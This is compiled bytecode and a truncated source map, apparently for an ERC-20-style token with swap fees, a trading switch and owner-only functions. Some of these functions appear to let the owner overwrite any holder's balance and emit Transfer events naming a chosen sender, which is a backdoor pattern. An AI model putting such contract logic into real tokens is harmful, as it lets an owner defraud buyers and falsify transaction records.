0x6080604052600436106100f6575f3560e01c806370a0823111610089578063a8aa1b3111610058578063a8aa1b3114610329578063a9059cbb14610353578063c9567bf91461038f578063dd62ed3e146103a5576100fd565b806370a08231146102735780637c879f5b146102af5780638187f516146102d757806395d89b41146102ff576100fd565b8063313ce567116100c5578063313ce567146101cd5780634abe3052146101f757806363aedb38146102235780636e669d7a1461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e1565b6040516101229190611428565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906114dd565b610470565b60405161015e9190611535565b60405180910390f35b348015610172575f80fd5b5061017b61055d565b604051610188919061155d565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611576565b61057e565b6040516101c49190611535565b60405180910390f35b3480156101d8575f80fd5b506101e1610621565b6040516101ee919061155d565b60405180910390f35b348015610202575f80fd5b5061020b610626565b60405161021a939291906115d5565b60405180910390f35b34801561022e575f80fd5b50610249600480360381019061024491906116c0565b61065c565b005b348015610256575f80fd5b50610271600480360381019061026c9190611751565b610811565b005b34801561027e575f80fd5b506102996004803603810190610294919061177c565b6108b7565b6040516102a6919061155d565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d091906117a7565b6108cc565b005b3480156102e2575f80fd5b506102fd60048036038101906102f8919061177c565b610946565b005b34801561030a575f80fd5b506103136109f5565b6040516103209190611428565b60405180910390f35b348015610334575f80fd5b5061033d610a85565b60405161034a91906117e5565b60405180910390f35b34801561035e575f80fd5b50610379600480360381019061037491906114dd565b610aaa565b6040516103869190611535565b60405180910390f35b34801561039a575f80fd5b506103a3610abe565b005b3480156103b0575f80fd5b506103cb60048036038101906103c691906117fe565b610b32565b6040516103d8919061155d565b60405180910390f35b60605f80546103ef90611869565b80601f016020809104026020016040519081016040528092919081815260200182805461041b90611869565b80156104665780601f1061043d57610100808354040283529160200191610466565b820191905f5260205f20905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054b919061155d565b60405180910390a36001905092915050565b6012600a61056b91906119f5565b64012a05f20061057b9190611a3f565b81565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106069190611a80565b92505081905550610618848484610b52565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b610664611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c8576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b84849050811015610809578282828181106106e8576106e7611ab3565b5b9050602002013560055f87878581811061070557610704611ab3565b5b905060200201602081019061071a919061177c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555084848281811061076a57610769611ab3565b5b905060200201602081019061077f919061177c565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8585858181106107e0576107df611ab3565b5b905060200201356040516107f4919061155d565b60405180910390a380806001019150506106ca565b505050505050565b610819611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f19755d25ea178146bd0c80065bb3baa90da55af45e342cf3c07de168a277da02816040516108ac919061155d565b60405180910390a150565b6005602052805f5260405f205f915090505481565b6108d4611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610938576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61094282826113a1565b5050565b61094e611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060018054610a0490611869565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3090611869565b8015610a7b5780601f10610a5257610100808354040283529160200191610a7b565b820191905f5260205f20905b815481529060010190602001808311610a5e57829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610ab6338484610b52565b905092915050565b610ac6611377565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610afc575f80fd5b600860159054906101000a900460ff1615610b15575f80fd5b6001600860156101000a81548160ff021916908315150217905550565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610b5c611377565b9050600860159054906101000a900460ff1680610ba457508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610bda57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610be2575f80fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2e9190611a80565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c9e5750600860149054906101000a900460ff16155b8015610d10575060646012600a610cb591906119f5565b64012a05f200610cc59190611a3f565b610ccf9190611b0d565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610d4857508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fb3576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610d8457610d83611b3d565b5b604051908082528060200260200182016040528015610db25781602001602082028036833780820191505090505b50905030815f81518110610dc957610dc8611ab3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e6d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e919190611b7e565b81600181518110610ea557610ea4611ab3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610f2c91906119f5565b64012a05f200610f3c9190611a3f565b610f469190611b0d565b5f8430426040518663ffffffff1660e01b8152600401610f6a959493929190611ca2565b5f604051808303815f87803b158015610f81575f80fd5b505af1158015610f93573d5f803e3d5ffd5b505050505f600860146101000a81548160ff021916908315150217905550505b5f806002600101546002800154915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015611013575060011515600860159054906101000a900460ff161515145b156110f1575f606460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146110755783611077565b825b876110829190611a3f565b61108c9190611b0d565b9050808661109a9190611a80565b95508060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e89190611cfa565b92505081905550505b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461113d9190611cfa565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1603611223578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051611216919061155d565b60405180910390a3611369565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036113025760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112f5919061155d565b60405180910390a3611368565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161135f919061155d565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b816002600101819055508060028001819055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113fa826113b8565b61140481856113c2565b93506114148185602086016113d2565b61141d816113e0565b840191505092915050565b5f6020820190508181035f83015261144081846113f0565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61147982611450565b9050919050565b6114898161146f565b8114611493575f80fd5b50565b5f813590506114a481611480565b92915050565b5f819050919050565b6114bc816114aa565b81146114c6575f80fd5b50565b5f813590506114d7816114b3565b92915050565b5f80604083850312156114f3576114f2611448565b5b5f61150085828601611496565b9250506020611511858286016114c9565b9150509250929050565b5f8115159050919050565b61152f8161151b565b82525050565b5f6020820190506115485f830184611526565b92915050565b611557816114aa565b82525050565b5f6020820190506115705f83018461154e565b92915050565b5f805f6060848603121561158d5761158c611448565b5b5f61159a86828701611496565b93505060206115ab86828701611496565b92505060406115bc868287016114c9565b9150509250925092565b6115cf8161146f565b82525050565b5f6060820190506115e85f8301866115c6565b6115f5602083018561154e565b611602604083018461154e565b949350505050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261162b5761162a61160a565b5b8235905067ffffffffffffffff8111156116485761164761160e565b5b60208301915083602082028301111561166457611663611612565b5b9250929050565b5f8083601f8401126116805761167f61160a565b5b8235905067ffffffffffffffff81111561169d5761169c61160e565b5b6020830191508360208202830111156116b9576116b8611612565b5b9250929050565b5f805f805f606086880312156116d9576116d8611448565b5b5f6116e688828901611496565b955050602086013567ffffffffffffffff8111156117075761170661144c565b5b61171388828901611616565b9450945050604086013567ffffffffffffffff8111156117365761173561144c565b5b6117428882890161166b565b92509250509295509295909350565b5f6020828403121561176657611765611448565b5b5f611773848285016114c9565b91505092915050565b5f6020828403121561179157611790611448565b5b5f61179e84828501611496565b91505092915050565b5f80604083850312156117bd576117bc611448565b5b5f6117ca858286016114c9565b92505060206117db858286016114c9565b9150509250929050565b5f6020820190506117f85f8301846115c6565b92915050565b5f806040838503121561181457611813611448565b5b5f61182185828601611496565b925050602061183285828601611496565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061188057607f821691505b6020821081036118935761189261183c565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561191b578086048111156118f7576118f6611899565b5b60018516156119065780820291505b8081029050611914856118c6565b94506118db565b94509492505050565b5f8261193357600190506119ee565b81611940575f90506119ee565b816001811461195657600281146119605761198f565b60019150506119ee565b60ff84111561197257611971611899565b5b8360020a91508482111561198957611988611899565b5b506119ee565b5060208310610133831016604e8410600b84101617156119c45782820a9050838111156119bf576119be611899565b5b6119ee565b6119d184848460016118d2565b925090508184048111156119e8576119e7611899565b5b81810290505b9392505050565b5f6119ff826114aa565b9150611a0a836114aa565b9250611a377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611924565b905092915050565b5f611a49826114aa565b9150611a54836114aa565b9250828202611a62816114aa565b91508282048414831517611a7957611a78611899565b5b5092915050565b5f611a8a826114aa565b9150611a95836114aa565b9250828203905081811115611aad57611aac611899565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611b17826114aa565b9150611b22836114aa565b925082611b3257611b31611ae0565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050611b7881611480565b92915050565b5f60208284031215611b9357611b92611448565b5b5f611ba084828501611b6a565b91505092915050565b5f819050919050565b5f819050919050565b5f611bd5611bd0611bcb84611ba9565b611bb2565b6114aa565b9050919050565b611be581611bbb565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611c1d8161146f565b82525050565b5f611c2e8383611c14565b60208301905092915050565b5f602082019050919050565b5f611c5082611beb565b611c5a8185611bf5565b9350611c6583611c05565b805f5b83811015611c95578151611c7c8882611c23565b9750611c8783611c3a565b925050600181019050611c68565b5085935050505092915050565b5f60a082019050611cb55f83018861154e565b611cc26020830187611bdc565b8181036040830152611cd48186611c46565b9050611ce360608301856115c6565b611cf0608083018461154e565b9695505050505050565b5f611d04826114aa565b9150611d0f836114aa565b9250828201905080821115611d2757611d26611899565b5b9291505056fea2646970667358221220761a7d65392d3c6aabed05ac966b16b0019d9ad415c2baf73dab2dc582c6cd8b64736f6c63430008190033

293:6344:8:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4642:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4290:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;439:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4059:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;395:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;516:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;3193:407;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2851:174;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;833:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2650:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3033:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4741:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;957:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4505:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3887:164;;;;;;;;;;;;;:::i;:::-;;884:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4642:91;4687:13;4720:5;4713:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4642:91;:::o;4290:207::-;4358:4;4408:6;4375:9;:21;4385:10;4375:21;;;;;;;;;;;;;;;:30;4397:7;4375:30;;;;;;;;;;;;;;;:39;;;;4451:7;4430:37;;4439:10;4430:37;;;4460:6;4430:37;;;;;;:::i;:::-;;;;;;;;4485:4;4478:11;;4290:207;;;;:::o;439:68::-;430:2;493;:14;;;;:::i;:::-;477:13;:30;;;;:::i;:::-;439:68;:::o;4059:223::-;4175:4;4223:6;4192:9;:15;4202:4;4192:15;;;;;;;;;;;;;;;:27;4208:10;4192:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;4247:27;4257:4;4263:2;4267:6;4247:9;:27::i;:::-;4240:34;;4059:223;;;;;:::o;395:37::-;430:2;395:37;:::o;516:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3193:407::-;3361:29;:27;:29::i;:::-;3347:43;;:10;:43;;;3343:69;;3399:13;;;;;;;;;;;;;;3343:69;3428:9;3423:170;3447:8;;:15;;3443:1;:19;3423:170;;;3509:7;;3517:1;3509:10;;;;;;;:::i;:::-;;;;;;;;3484:9;:22;3494:8;;3503:1;3494:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3484:22;;;;;;;;;;;;;;;:35;;;;3557:8;;3566:1;3557:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3539:42;;3548:7;3539:42;;;3570:7;;3578:1;3570:10;;;;;;;:::i;:::-;;;;;;;;3539:42;;;;;;:::i;:::-;;;;;;;;3464:3;;;;;;;3423:170;;;;3193:407;;;;;:::o;2851:174::-;2930:29;:27;:29::i;:::-;2916:43;;:10;:43;;;2912:69;;2968:13;;;;;;;;;;;;;;2912:69;2997:20;3010:6;2997:20;;;;;;:::i;:::-;;;;;;;;2851:174;:::o;833:44::-;;;;;;;;;;;;;;;;;:::o;2650:193::-;2736:29;:27;:29::i;:::-;2722:43;;:10;:43;;;2718:69;;2774:13;;;;;;;;;;;;;;2718:69;2798:37;2823:4;2829:5;2798:24;:37::i;:::-;2650:193;;:::o;3033:152::-;3103:29;:27;:29::i;:::-;3089:43;;:10;:43;;;3085:69;;3141:13;;;;;;;;;;;;;;3085:69;3172:5;3165:4;;:12;;;;;;;;;;;;;;;;;;3033:152;:::o;4741:95::-;4788:13;4821:7;4814:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4741:95;:::o;957:19::-;;;;;;;;;;;;;:::o;4505:129::-;4569:4;4593:33;4603:10;4615:2;4619:6;4593:9;:33::i;:::-;4586:40;;4505:129;;;;:::o;3887:164::-;3952:29;:27;:29::i;:::-;3938:43;;:10;:43;;;3930:52;;;;;;4002:11;;;;;;;;;;;4001:12;3993:21;;;;;;4039:4;4025:11;;:18;;;;;;;;;;;;;;;;;;3887:164::o;884:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4993:1641::-;5106:4;5123:16;5142:29;:27;:29::i;:::-;5123:48;;5190:11;;;;;;;;;;;:31;;;;5213:8;5205:16;;:4;:16;;;5190:31;:49;;;;5231:8;5225:14;;:2;:14;;;5190:49;5182:58;;;;;;5272:6;5253:9;:15;5263:4;5253:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5315:4;;;;;;;;;;;5309:10;;:2;:10;;;:36;;;;;5337:8;;;;;;;;;;;5336:9;5309:36;:91;;;;;593:3;430:2;493;:14;;;;:::i;:::-;477:13;:30;;;;:::i;:::-;579:17;;;;:::i;:::-;5362:9;:24;5380:4;5362:24;;;;;;;;;;;;;;;;:38;;5309:91;:124;;;;;5425:8;5417:16;;:4;:16;;;;5309:124;5291:648;;;5471:4;5460:8;;:15;;;;;;;;;;;;;;;;;;5490:21;5528:1;5514:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5490:40;;5563:4;5545;5550:1;5545:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;5593:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5583:4;5588:1;5583:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;5631:16;;;;;;;;;;;:88;;;593:3;430:2;493;:14;;;;:::i;:::-;477:13;:30;;;;:::i;:::-;579:17;;;;:::i;:::-;5775:1;5799:4;5834;5862:15;5631:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5922:5;5911:8;;:16;;;;;;;;;;;;;;;;;;5445:494;5291:648;5952:15;5969:16;5990:9;:16;;;6008:9;:17;;;5951:75;;;;6057:4;6041:21;;:4;:21;;;;:44;;;;;6081:4;6066:19;;:11;;;;;;;;;;;:19;;;6041:44;6037:280;;;6102:27;6196:3;6166:4;;;;;;;;;;;6160:10;;:2;:10;;;:31;;6184:7;6160:31;;;6173:8;6160:31;6133:6;:59;;;;:::i;:::-;6132:67;;;;:::i;:::-;6102:97;;6224:19;6214:29;;;;;:::i;:::-;;;6286:19;6258:9;:24;6276:4;6258:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;6087:230;6037:280;6344:6;6327:9;:13;6337:2;6327:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;6375:9;;;;;;;;;;;6367:17;;:4;:17;;;6363:242;;6426:2;6406:31;;6415:9;;;;;;;;;;;6406:31;;;6430:6;6406:31;;;;;;:::i;:::-;;;;;;;;6363:242;;;6465:9;;;;;;;;;;;6459:15;;:2;:15;;;6455:150;;6511:9;;;;;;;;;;;6496:33;;6505:4;6496:33;;;6522:6;6496:33;;;;;;:::i;:::-;;;;;;;;6455:150;;;6582:2;6567:26;;6576:4;6567:26;;;6586:6;6567:26;;;;;;:::i;:::-;;;;;;;;6455:150;6363:242;6622:4;6615:11;;;;;4993:1641;;;;;:::o;3765:114::-;3826:7;3853:9;:18;;;;;;;;;;;;3846:25;;3765:114;:::o;3608:149::-;3709:4;3690:9;:16;;:23;;;;3744:5;3724:9;:17;;:25;;;;3608:149;;:::o;7:99:13:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:118::-;4403:24;4421:5;4403:24;:::i;:::-;4398:3;4391:37;4316:118;;:::o;4440:442::-;4589:4;4627:2;4616:9;4612:18;4604:26;;4640:71;4708:1;4697:9;4693:17;4684:6;4640:71;:::i;:::-;4721:72;4789:2;4778:9;4774:18;4765:6;4721:72;:::i;:::-;4803;4871:2;4860:9;4856:18;4847:6;4803:72;:::i;:::-;4440:442;;;;;;:::o;4888:117::-;4997:1;4994;4987:12;5011:117;5120:1;5117;5110:12;5134:117;5243:1;5240;5233:12;5274:568;5347:8;5357:6;5407:3;5400:4;5392:6;5388:17;5384:27;5374:122;;5415:79;;:::i;:::-;5374:122;5528:6;5515:20;5505:30;;5558:18;5550:6;5547:30;5544:117;;;5580:79;;:::i;:::-;5544:117;5694:4;5686:6;5682:17;5670:29;;5748:3;5740:4;5732:6;5728:17;5718:8;5714:32;5711:41;5708:128;;;5755:79;;:::i;:::-;5708:128;5274:568;;;;;:::o;5865:::-;5938:8;5948:6;5998:3;5991:4;5983:6;5979:17;5975:27;5965:122;;6006:79;;:::i;:::-;5965:122;6119:6;6106:20;6096:30;;6149:18;6141:6;6138:30;6135:117;;;6171:79;;:::i;:::-;6135:117;6285:4;6277:6;6273:17;6261:29;;6339:3;6331:4;6323:6;6319:17;6309:8;6305:32;6302:41;6299:128;;;6346:79;;:::i;:::-;6299:128;5865:568;;;;;:::o;6439:1079::-;6570:6;6578;6586;6594;6602;6651:2;6639:9;6630:7;6626:23;6622:32;6619:119;;;6657:79;;:::i;:::-;6619:119;6777:1;6802:53;6847:7;6838:6;6827:9;6823:22;6802:53;:::i;:::-;6792:63;;6748:117;6932:2;6921:9;6917:18;6904:32;6963:18;6955:6;6952:30;6949:117;;;6985:79;;:::i;:::-;6949:117;7098:80;7170:7;7161:6;7150:9;7146:22;7098:80;:::i;:::-;7080:98;;;;6875:313;7255:2;7244:9;7240:18;7227:32;7286:18;7278:6;7275:30;7272:117;;;7308:79;;:::i;:::-;7272:117;7421:80;7493:7;7484:6;7473:9;7469:22;7421:80;:::i;:::-;7403:98;;;;7198:313;6439:1079;;;;;;;;:::o;7524:329::-;7583:6;7632:2;7620:9;7611:7;7607:23;7603:32;7600:119;;;7638:79;;:::i;:::-;7600:119;7758:1;7783:53;7828:7;7819:6;7808:9;7804:22;7783:53;:::i;:::-;7773:63;;7729:117;7524:329;;;;:::o;7859:::-;7918:6;7967:2;7955:9;7946:7;7942:23;7938:32;7935:119;;;7973:79;;:::i;:::-;7935:119;8093:1;8118:53;8163:7;8154:6;8143:9;8139:22;8118:53;:::i;:::-;8108:63;;8064:117;7859:329;;;;:::o;8194:474::-;8262:6;8270;8319:2;8307:9;8298:7;8294:23;8290:32;8287:119;;;8325:79;;:::i;:::-;8287:119;8445:1;8470:53;8515:7;8506:6;8495:9;8491:22;8470:53;:::i;:::-;8460:63;;8416:117;8572:2;8598:53;8643:7;8634:6;8623:9;8619:22;8598:53;:::i;:::-;8588:63;;8543:118;8194:474;;;;;:::o;8674:222::-;8767:4;8805:2;8794:9;8790:18;8782:26;;8818:71;8886:1;8875:9;8871:17;8862:6;8818:71;:::i;:::-;8674:222;;;;:::o;8902:474::-;8970:6;8978;9027:2;9015:9;9006:7;9002:23;8998:32;8995:119;;;9033:79;;:::i;:::-;8995:119;9153:1;9178:53;9223:7;9214:6;9203:9;9199:22;9178:53;:::i;:::-;9168:63;;9124:117;9280:2;9306:53;9351:7;9342:6;9331:9;9327:22;9306:53;:::i;:::-;9296:63;;9251:118;8902:474;;;;;:::o;9382:180::-;9430:77;9427:1;9420:88;9527:4;9524:1;9517:15;9551:4;9548:1;9541:15;9568:320;9612:6;9649:1;9643:4;9639:12;9629:22;;9696:1;9690:4;9686:12;9717:18;9707:81;;9773:4;9765:6;9761:17;9751:27;;9707:81;9835:2;9827:6;9824:14;9804:18;9801:38;9798:84;;9854:18;;:::i;:::-;9798:84;9619:269;9568:320;;;:::o;9894:180::-;9942:77;9939:1;9932:88;10039:4;10036:1;10029:15;100